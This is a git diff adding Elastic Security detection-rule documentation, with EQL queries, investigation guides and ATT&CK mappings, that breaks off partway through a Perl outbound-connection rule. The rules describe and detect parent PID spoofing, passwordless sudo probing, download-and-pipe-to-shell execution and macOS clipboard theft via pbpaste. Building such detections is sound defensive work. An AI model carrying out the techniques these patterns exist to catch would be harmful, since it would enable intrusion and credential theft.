policy controls on affected `host.id` and `user.id`; use host isolation only when recovered lineage, abnormal token/session context, created-suspended evidence, or suspicious descendants indicate likely payload execution or spread. +- If confirmed malicious after preservation, isolate the endpoint or affected account scope according to evidence; take credential action only when session or token evidence indicates account misuse. Terminate the malicious process tree only after recording creator and child entity IDs, command lines, visible parent, and descendant process evidence. +- Remove the malicious launcher, spoofed child binary, and any payload artifacts identified during investigation; restore only confirmed configuration changes tied to the launch path, and remediate the entry vector. Delay destructive cleanup until scoping has captured the same creator, child, signer, or parent-selection pattern across related host and user alerts. +- Post-incident hardening: restrict only the confirmed parent-selection path and retain endpoint process telemetry needed to compare the recovered real creator with the visible parent in future repeat alerts. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +/* This rule is compatible with Elastic Endpoint only */ + +sequence by host.id, user.id with maxspan=3m + + [process where host.os.type == "windows" and event.type == "start" and + process.Ext.token.integrity_level_name != "system" and + ( + process.pe.original_file_name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe", "eqnedt32.exe", + "fltldr.exe", "mspub.exe", "msaccess.exe", "powershell.exe", "pwsh.exe", + "cscript.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", "msbuild.exe", + "mshta.exe", "wmic.exe", "cmstp.exe", "msxsl.exe") or + + (process.executable : ("?:\\Users\\*.exe", + "?:\\ProgramData\\*.exe", + "?:\\Windows\\Temp\\*.exe", + "?:\\Windows\\Tasks\\*") and + (process.code_signature.exists == false or process.code_signature.status : "errorBadDigest")) or + + process.executable : "?:\\Windows\\Microsoft.NET\\*.exe" + ) and + + not process.executable : + ("?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\WINDOWS\\SysWOW64\\WerFaultSecure.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe") + ] by process.pid + [process where host.os.type == "windows" and event.type == "start" and + process.parent.Ext.real.pid > 0 and + + /* process.parent.Ext.real.pid is only populated if the parent process pid doesn't match */ + not (process.name : "msedge.exe" and process.parent.name : "sihost.exe") and + + not process.executable : + ("?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\WINDOWS\\SysWOW64\\WerFaultSecure.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe") + ] by process.parent.Ext.real.pid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Parent PID Spoofing +** ID: T1134.004 +** Reference URL: https://attack.mitre.org/techniques/T1134/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Parent PID Spoofing +** ID: T1134.004 +** Reference URL: https://attack.mitre.org/techniques/T1134/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-passwordless-sudo-probing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-passwordless-sudo-probing.asciidoc new file mode 100644 index 0000000000..62c2c9319b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-passwordless-sudo-probing.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-passwordless-sudo-probing]] +=== Passwordless Sudo Probing + +This rule detects passwordless sudo probing activity on Linux systems. Passwordless sudo probing can be an indication of an attacker attempting to enumerate it's allowed commands and potential privilege escalation. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/nrwl/nx-console/issues/3139 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Passwordless Sudo Probing* + + +This rule catches a Linux user running `sudo -n true`, a quiet check for passwordless sudo that reveals whether the account can elevate without user interaction. Attackers often issue this immediately after gaining a shell to test privilege-escalation paths, then pivot to `sudo -l` or directly launch an allowed root command if the probe succeeds. + + +*Possible investigation steps* + + +- Identify the originating user, session type, parent shell or service, and authentication source to determine whether the probe came from normal administration, automation, or a potentially compromised interactive login. +- Review activity immediately before and after the alert for follow-on actions such as privilege enumeration, attempts to launch root-level utilities, service manipulation, credential access, or edits to sudo and persistence-related files. +- Confirm the account’s effective sudo privileges by inspecting sudoers policy, included drop-in rules, and centralized identity policy to verify whether passwordless elevation is expected and which commands are allowed. +- Correlate the same user, host, and source address across authentication, process, and network telemetry to spot unusual login patterns, lateral movement, or repeated probing on additional Linux systems. +- If the behavior is not attributable to approved tooling or maintenance, isolate the affected session or host, preserve volatile evidence and shell history, and rotate any credentials or keys that may have been exposed. + + +*False positive analysis* + + +- Administrative scripts, cron jobs, or service-account maintenance tasks may run `sudo -n true` to confirm non-interactive privilege is available before continuing privileged work; verify the parent process, executing user, script location, and timing against approved operational activity. +- Sudoers validation during account provisioning, system configuration, or post-change testing can legitimately execute `sudo -n true` after privilege updates; verify recent changes to sudo policy or user permissions and confirm the account is expected to have passwordless sudo access. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network and terminate the malicious user session or shell while preserving shell history, sudo logs, and any temporary scripts under `/tmp`, `/var/tmp`, or the user’s home directory for incident handling. +- Remove attacker access by disabling the involved account, revoking exposed SSH keys, rotating passwords and tokens, and deleting unauthorized entries in `authorized_keys`, `sudoers` drop-ins, cron jobs, systemd services, and startup scripts. +- Inspect and reverse any privileged changes made after the sudo probe, including new local users, modified `/etc/sudoers` or `/etc/sudoers.d` files, altered PAM or SSH configuration, unexpected package installs, and binaries replaced outside approved change windows. +- If the probe was followed by successful `sudo` use, new root persistence, credential theft activity, or similar behavior on additional Linux hosts, escalate immediately to incident response as a suspected privileged-compromise case and expand containment to related systems and accounts. +- Restore the host to a known-good state by rebuilding from a trusted image or verified backup when root-level execution occurred, then validate system integrity, reapply approved `sudo` policy, and restrict passwordless `sudo` to only documented commands. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "sudo" and process.args in ("-n", "--non-interactive") and process.args == "true" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc new file mode 100644 index 0000000000..3e4380a255 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-payload-downloaded-by-interpreter-and-piped-to-interpreter]] +=== Payload Downloaded by Interpreter and Piped to Interpreter + +This rule detects when a payload is downloaded by an interpreter, and piped to an interpreter. Attackers may use this technique to download and execute payloads for various malicious purposes, such as establishing persistence or exfiltrating data. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Payload Downloaded by Interpreter and Piped to Interpreter* + + +This rule flags a Linux interpreter that reaches out to an external address and then immediately starts another interpreter with no script argument, a strong sign that downloaded content is being fed directly into code execution. Attackers use this to avoid writing files and blend into admin activity, for example by having Python fetch a remote shell script with urllib and pipe the response into `sh` or `bash` to run a stager in memory. + + +*Possible investigation steps* + + +- Reconstruct the full process lineage and execution context, including the initiating user, shell history, service unit, cron job, container entrypoint, or remote session that triggered the download-and-execute chain, to distinguish sanctioned automation from attacker activity. +- Validate the remote endpoint by reviewing DNS, proxy, HTTP/TLS, and reputation data for the contacted infrastructure and compare it with known package mirrors, internal tooling, and recent maintenance activity to quickly identify likely benign installers versus suspicious staging hosts. +- Attempt to recover the downloaded payload from proxy caches, packet capture, endpoint telemetry, memory, or command history and analyze its behavior to determine whether it is a legitimate bootstrap script or a stager that enables persistence, credential theft, or additional downloads. +- Investigate post-alert activity on the host for concrete follow-on actions such as writes to temporary or startup locations, cron or systemd persistence, new accounts, SSH key changes, privilege escalation, lateral movement tooling, or security-control tampering. +- If the activity cannot be confidently tied to approved administration, isolate the system and pivot across the environment for the same parent-child lineage, remote infrastructure, script fragments, and resulting artifacts to scope impact and block recurrence. + + +*False positive analysis* + + +- Legitimate provisioning or maintenance on a Linux host may use a shell or Python one-liner to download an installation or update script from an approved external repository and pipe it to `sh` or `bash`; verify the parent process aligns with a known admin action or change window and that the destination and script content match an approved baseline. +- Scheduled automation can trigger this when a service account or system task fetches a small bootstrap script from a sanctioned internet endpoint and feeds it directly to an interpreter during deployment or configuration refresh; verify it was started by the expected cron or systemd context and that the same process lineage and destination recur consistently across managed hosts. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while preserving forensic access, stop the active interpreter chain, and block the contacted external IPs, domains, and download URLs at egress controls to prevent reinfection. +- Remove attacker footholds created by the downloaded script, including malicious cron entries, systemd services or timers, `/etc/rc.local` changes, shell profile modifications, unauthorized `authorized_keys` entries, and payloads dropped in `/tmp`, `/var/tmp`, `/dev/shm`, or user home directories. +- Revoke access the payload may have exposed by resetting passwords, rotating SSH keys, API tokens, and application secrets present on the host, and disabling any unauthorized local or service accounts created during the intrusion. +- Restore the host to a known-good state by rebuilding or reimaging from a trusted baseline or verified backup, applying current security patches, and validating that only approved packages, startup items, and scheduled tasks remain before reconnecting it to production. +- Escalate to incident response immediately if the script executed as root, the same download source or script fragment appears on multiple hosts, authentication material was accessed or modified, or you observe follow-on behaviors such as lateral movement, data staging, or persistent outbound beaconing. +- Harden the environment by restricting direct internet access from interpreters and automation accounts, allowlisting approved package mirrors and script repositories, enforcing least privilege for service users, and alerting on future `curl` or `wget` to shell and interpreter-to-interpreter execution patterns. + + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id, process.working_directory with maxspan=1s + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and ( + process.name like ( + "bash", "dash", "sh", "tcsh", "tclsh", "wish", "csh", "zsh", "ksh", "fish", + "mksh", "busybox", "rscript", "r", "julia", "mono", "dotnet", "groovy", "kotlin", + "scala", "erlang", "escript", "ocaml", "ocamlopt", "ld.so", "ld-linux-x86-64.so.2", + "ld-musl-x86_64.so.1", "awk", "gawk", "mawk", "nawk", "node", "nodejs", "deno", + "env", "timeout", "nice", "stdbuf", "setsid", "setarch", "unshare", "nsenter", "flock", + "runuser", "sudo", "snap" + ) or + process.name like ("python*", "perl*", "ruby*", "lua*", "php*", "qemu-*-static") + ) and + not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + )] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.name like ( + "bash", "dash", "sh", "tcsh", "tclsh", "wish", "csh", "zsh", "ksh", "fish", + "mksh", "busybox", "rscript", "r", "julia", "mono", "dotnet", "groovy", "kotlin", + "scala", "erlang", "escript", "ocaml", "ocamlopt", "ld.so", "ld-linux-x86-64.so.2", + "ld-musl-x86_64.so.1", "awk", "gawk", "mawk", "nawk", "node", "nodejs", "deno" + ) or + process.name like ("python*", "perl*", "ruby*", "lua*", "php*") + ) and ( + stringcontains(process.executable, process.command_line) or + stringcontains(process.name, process.command_line) + ) and + process.args_count == 1] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pbpaste-execution-via-unusual-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pbpaste-execution-via-unusual-parent-process.asciidoc new file mode 100644 index 0000000000..eaf685542f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-pbpaste-execution-via-unusual-parent-process.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-pbpaste-execution-via-unusual-parent-process]] +=== Pbpaste Execution via Unusual Parent Process + +Detects when an unusual parent process like Node.js, Python, or osascript executes the pbpaste binary to access clipboard data. This technique has been used by malware like OtterCookie to steal passwords and seed phrases from the clipboard. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://jp.security.ntt/tech_blog/contagious-interview-ottercookie + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pbpaste Execution via Unusual Parent Process* + + +The pbpaste utility on macOS retrieves data from the system clipboard, making it a target for malware seeking to steal sensitive information such as passwords, cryptocurrency seed phrases, or authentication tokens. Threat actors, particularly those behind campaigns like OtterCookie, leverage scripting interpreters such as Node.js, Python, or osascript to programmatically access clipboard contents. This detection rule identifies suspicious process chains where these interpreters spawn pbpaste, indicating potential credential theft or data harvesting activity. + + +*Possible investigation steps* + + +- Review the process.parent.name and process.parent.executable fields to identify which scripting interpreter spawned pbpaste and determine if this is expected behavior for the user or application context. +- Examine the process.parent.command_line field to understand what script or command initiated the clipboard access and assess whether it appears malicious or legitimate. +- Check for any network connections made by the parent process around the same time by correlating with network events, as clipboard data is often exfiltrated shortly after collection. +- Investigate the user account associated with the activity using the user.name field to determine if the behavior aligns with their typical work patterns. +- Review the process.parent.code_signature fields to verify whether the parent application is signed and trusted, as unsigned or untrusted interpreters are more suspicious. +- Search for related alerts or events on the same host within a short time window to identify if this is part of a larger attack chain. + + +*False positive analysis* + + +- Legitimate automation tools and productivity applications may use pbpaste for clipboard operations as part of normal workflows. Verify the parent application and its purpose before escalating. +- Development and testing environments may trigger this detection when developers test clipboard functionality. Consider adding exclusions for known development tools after verification. +- Some password managers or clipboard utilities may spawn pbpaste for legitimate purposes. Document these applications and create targeted exceptions if confirmed safe. +- System administration scripts that manage clipboard data should be reviewed and allowlisted if they are part of approved IT operations. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent potential data exfiltration if malicious activity is confirmed. +- Terminate the suspicious parent process and any child processes to stop ongoing clipboard harvesting activity. +- Conduct a forensic review of the clipboard history if available, and identify what sensitive data may have been exposed. +- Reset any credentials, API keys, or tokens that may have been present in the clipboard during the timeframe of the alert. +- Perform a full malware scan on the affected system using endpoint security tools to identify additional indicators of compromise. +- Review the origin of the parent script or application to understand the initial access vector and prevent reinfection. +- Escalate to the security operations team if the activity appears to be part of a coordinated campaign affecting multiple endpoints. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name == "pbpaste" and process.args_count == 1 and + (process.parent.name in ("node", "osascript") or process.parent.name like "python*") and + not process.parent.executable like "/Users/*/.pyenv/versions/*/bin/python3*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Clipboard Data +** ID: T1115 +** Reference URL: https://attack.mitre.org/techniques/T1115/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-peripheral-device-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-peripheral-device-discovery.asciidoc new file mode 100644 index 0000000000..16eea0cbb9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-peripheral-device-discovery.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-peripheral-device-discovery]] +=== Peripheral Device Discovery + +Identifies use of the Windows file system utility (fsutil.exe) to gather information about attached peripheral devices and components connected to a computer system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Peripheral Device Discovery* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `fsutil` utility with the `fsinfo` subcommand to enumerate drives attached to the computer, which can be used to identify secondary drives used for backups, mapped network drives, and removable media. These devices can contain valuable information for attackers. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Determine whether this activity was followed by suspicious file access/copy operations or uploads to file storage services. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "fsutil.exe" or ?process.pe.original_file_name == "fsutil.exe") and + process.args : "fsinfo" and process.args : "drives" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Peripheral Device Discovery +** ID: T1120 +** Reference URL: https://attack.mitre.org/techniques/T1120/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-perl-outbound-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-perl-outbound-network-connection.asciidoc new file mode 100644 index 0000000000..ce0f11a816 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-perl-outbound-network-connection.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-perl-outbound-network-connection]] +=== Perl Outbound Network Connection + +Detects when Perl makes an outbound network connection to a non-private IP address. Perl is a scripting language that comes pre-installed on macOS and offers extensive capabilities for adversaries. Its use for network connections on macOS systems is uncommon and potentially suspicious. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Perl Outbound Network Connection* + + +This rule detects Perl starting on macOS and then initiating an outbound connection to a public (non-private) IP, a pattern that stands out because Perl rarely performs direct network reach-outs in normal macOS workflows. Attackers often abuse Perl as a built-in “living off the land” runtime to beacon to external command-and-control over HTTP/S or to fetch and execute a second-stage payload from an internet host. + + +*Possible investigation steps* + + +- Review the full command line, parent/child process tree, execution context (user, TTY, working directory), and referenced script/module paths to determine whether the run was expected or suspicious. +- Pivot on the external destination (IP, port, and any resolved domain from DNS telemetry) to assess reputation, hosting characteristics, and whether other endpoints have recently contacted the same infrastructure. +- Examine connection characteristics (protocol, TLS SNI/certificate, HTTP headers/user-agent, data volume, and timing) to identify staged downloads or beacon-like periodicity. +- Correlate nearby file activity for newly created or modified scripts, temp artifacts, or downloaded payloads, and validate them via hashes, signatures, and known-good baselines. +- Check for follow-on behavior consistent with persistence or lateral movement, such as new launchd/cron items, suspicious login items, or additional interpreters and shells spawned from the same lineage. + + +*False positive analysis* + + +- A legitimate Perl script run by an administrator or scheduled maintenance task (e.g., log rotation, health checks, or API polling) may connect to a public service endpoint over HTTP/S, matching the Perl exec followed by a non-private destination IP pattern. +- A developer workflow that uses Perl one-liners or project scripts to fetch dependencies, query internet-hosted resources, or validate external URLs can generate outbound connections to public IPs that appear unusual on endpoints without an established baseline for Perl network use. + + +*Response and remediation* + + +- 